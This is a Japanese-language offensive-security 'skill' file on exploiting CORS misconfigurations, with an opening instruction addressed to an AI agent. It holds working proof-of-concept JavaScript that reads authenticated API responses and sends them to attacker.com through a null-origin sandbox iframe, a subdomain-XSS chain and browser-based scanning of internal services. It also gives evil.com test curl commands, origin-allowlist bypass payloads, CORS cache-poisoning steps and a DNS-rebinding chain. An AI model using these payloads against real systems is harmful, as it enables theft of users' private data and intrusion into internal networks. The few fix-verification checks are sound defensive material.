SKILL: CORS設定不備 — 認証オリジン、反射、および信頼境界エラー

AI LOAD INSTRUCTION: ブラウザが認証されたAPIにクロスオリジンアクセスできる場合にこのスキルを使用してください。反射されたオリジン、認証付きリクエスト、ワイルドカード信頼、パーサーの誤り、オリジン許可リストバイパスに焦点を当ててください。JSONP ハイジャックの深掘り、同一オリジンポリシーの内部、ハニーポット匿名化解除、CORS と JSONP の比較については、付属の SCENARIOS.md を読み込んでください。

拡張シナリオ

次の場合は SCENARIOS.md も読み込んでください:

• JSONP ハイジャック完全攻撃シナリオ — ウォータリングホール + <script> クロスオリジンデータ盗難
• JSONP 経由のハニーポット匿名化解除 — ソーシャルプラットフォーム JSONP エンドポイントを使用した匿名訪問者の識別
• 同一オリジンポリシー深掘り — プロトコル/ホスト名/ポート定義、document.domain サブドメイン緩和とそのセキュリティリスク
• CORS と JSONP 技術比較 — メソッド、エラーハンドリング、認証情報動作、移行パス
• CORS エクスプロイトペイロード — credentials: include 付き反射オリジン、サンドボックス iframe 経由の null オリジン
• デュアルサイト攻撃ラボパターン — localhost:8981 (ターゲット) + localhost:8982 (攻撃者) テスト設定

1. このスキルをいつ読み込むか

以下の場合に読み込んでください:

• レスポンスに Access-Control-Allow-Origin、Access-Control-Allow-Credentials、またはプリフライトヘッダーが含まれている
• ブラウザベースの攻撃パスが認証された API レスポンスを読む可能性がある
• JSON エンドポイントが CSRF から保護されているように見えるが、クロスオリジンから読取可能である

2. 高リスク設定不備チェック

テーマ	チェック内容
ワイルドカード+認証情報	Access-Control-Allow-Origin: * 認証情報サポート、または同等の不具合動作
反射オリジン	サーバーが任意の Origin をエコーバック
弱い許可リスト	サフィックス、プリフィックス、部分文字列、正規表現、または大文字小文字混合マッチングエラー
null オリジン	サンドボックス、ファイル、またはシリアル化されたオリジンの受け入れ
プリフライト信頼	オーバーブロードなメソッドおよびヘッダー
内部API露出	管理者またはテナントデータがクロスオリジンから読取可能

3. クイックトリアージ

1. 作成した Origin ヘッダーを送信して反射を検査します。
2. 認証情報ありとなしでテストします。
3. 攻撃者サブドメインとパーサーエッジケースを使用して許可リストバイパスをプローブします。
4. 読取可能なデータが機密情報の場合、アカウントまたはテナント影響にチェーンします。

4. 関連ルート

• セッションまたは JSON アクション悪用: csrf cross site request forgery
• OAuth トークン漏洩とコールバック結合: oauth oidc misconfiguration
• API 認証コンテキスト: api auth and jwt abuse

---

5. NULL オリジンエクスプロイテーション

Origin: null が送信される仕組み

コンテキスト	オリジンヘッダー値
サンドボックス iframe (<iframe sandbox>)	null
data: URI スキーム	null
file: プロトコル (ローカル HTML)	null
クロスオリジンリダイレクトチェーン (一部ブラウザ)	null
opaque オリジンから blob: URL でシリアル化されたデータ	null

エクスプロイテーション

サーバーが null をオリジン許可リストに含めるか反射する場合:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>

サンドボックス iframe は Origin: null を送信 → サーバーが null を反射 → 攻撃者が認証付きレスポンスを読み取ります。

---

6. サブドメイン XSS → CORS バイパスチェーン

攻撃フロー

1. api.target.com の API が *.target.com からの CORS を許可
2. いずれかのサブドメインで XSS を発見: blog.target.com, dev.target.com など
3. XSS を利用して api.target.com に認証付きリクエストを作成
4. CORS がリクエストを許可 → 攻撃者が機密 API レスポンスを読み取る

PoC (blog.target.com の XSS 経由でインジェクト)

fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});

動作原理

• blog.target.com は api.target.com と 同一サイト → SameSite クッキーが送信される
• CORS 許可リストに *.target.com が含まれる → Access-Control-Allow-Origin: https://blog.target.com
• 結合: SameSite バイパス + CORS 読み取り = サブドメイン上の XSS からの完全な API アクセス

このチェーンの偵察

□ サブドメイン列挙 (amass, subfinder, crt.sh)
□ 各サブドメインを XSS でテスト (保存型、反射型、DOM)
□ API CORS がサブドメインオリジンを受け入れるかチェック
□ サブドメイン乗っ取り候補も該当

---

7. VARY: ORIGIN キャッシング問題

問題点

サーバーが Access-Control-Allow-Origin に Origin を反射するが、レスポンスに Vary: Origin を含めない場合、中間キャッシュ (CDN、リバースプロキシ) は異なるオリジンに同じキャッシュレスポンスを提供する可能性があります:

1. 攻撃者がリクエスト: Origin: https://attacker.com
   レスポンスがキャッシュ: Access-Control-Allow-Origin: https://attacker.com

2. 被害者が同じ URL をリクエスト (Origin なし、または異なる Origin)
   キャッシュがレスポンスを提供: Access-Control-Allow-Origin: https://attacker.com
   → 被害者のブラウザが attacker.com に読み取りを許可 (CORS キャッシュポイズニング)

検出

# リクエスト 1: 攻撃者オリジン付き
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# リクエスト 2: 正当なオリジン付き
curl -H "Origin: https://target.com" https://target.com/api/data -I

# 比較: 両方のレスポンスに Access-Control-Allow-Origin: https://evil.com がある場合
# → キャッシュポイズニング、Vary: Origin が欠落

エクスプロイテーション

1. キャッシュをウォーム: Origin: https://attacker.com でリクエストを送信
2. 被害者が同じキャッシュ URL にアクセスするまで待機
3. キャッシュされた ACAO ヘッダーが attacker.com に読み取りを許可
4. 攻撃者ページが URL をフェッチ → キャッシュされたレスポンスを認証情報付きで読み取る

修正確認

□ レスポンスに Vary: Origin が含まれる
□ キャッシュキーに Origin ヘッダーが含まれる
□ または: Access-Control-Allow-Origin が反射されない (ハードコードされた許可リスト)

---

8. 正規表現バイパスパターン

オリジン検証の一般的な不具合正規表現パターン:

意図するパターン	不具合	バイパスオリジン
^https?://.*\.target\.com$	.* が - を含む何でもマッチ	https://attacker-target.com
^https?://.*target\.com$	サブドメイン後のアンカーが欠落	https://nottarget.com、https://attacker.com/.target.com
target\.com (部分文字列マッチ)	アンカーなし	https://attacker.com?target.com
^https?://(.*\.)?target\.com$	ポート制限なし	https://target.com.attacker.com:443
^https://[a-z]+\.target\.com$	パスの末尾アンカーなし	N/A (ただし - または数字付きサブドメインは欠落)
バックトラッキング脆弱正規表現	ReDoS	https://aaaa...aaa.target.com (CPU 枯渇)

オリジン検証バイパスのテストペイロード

https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null

高度な: Unicode 正規化バイパス

https://target.com → https://ⓣarget.com (Unicode 見た目そっくり)

一部のオリジンバリデータは比較後に Unicode を正規化しますが、ブラウザは元の形式を送信します — またはその逆です。

---

9. 内部ネットワーク CORS エクスプロイテーション

シナリオ

内部のみの API (例: http://192.168.1.100:8080/admin) が以下で設定されている:

Access-Control-Allow-Origin: *

内部 API はしばしばワイルドカード CORS を使用します (「内部ユーザーのみがアクセスできる」)。

攻撃チェーン

1. 攻撃者が被害者 (内部従業員) に attacker.com へのリンクを送信
2. 攻撃者ページ JavaScript が内部 API をフェッチ:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS が * を許可 → レスポンス読取可能
4. 内部データを攻撃者サーバーに流出

// attacker.com 上 — 被害者のブラウザから内部 API をターゲット
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});

CORS タイミング経由のポートスキャン

Access-Control-Allow-Origin: * がなくても、攻撃者は内部サービスの可用性を推測できます:

• ポート開放: 接続確立 → CORS エラー (異なるタイミング)
• ポート閉鎖: 接続拒否 → 高速エラー
• ホストダウン: タイムアウト → 遅いエラー

DNS リバインディングと組み合わせ

1. 攻撃者が attacker.com を短い TTL で制御 (例: 0 または 1)
2. 最初の DNS 解決: attacker.com → 攻撃者の IP (悪意のある JS を提供)
3. 2 番目の DNS 解決: attacker.com → 192.168.1.100 (内部 IP)
4. ページ上の JavaScript が attacker.com/admin をフェッチ → 現在内部サーバーをヒット
5. 同一オリジンポリシーが満たされる (同じドメイン) → レスポンス読取可能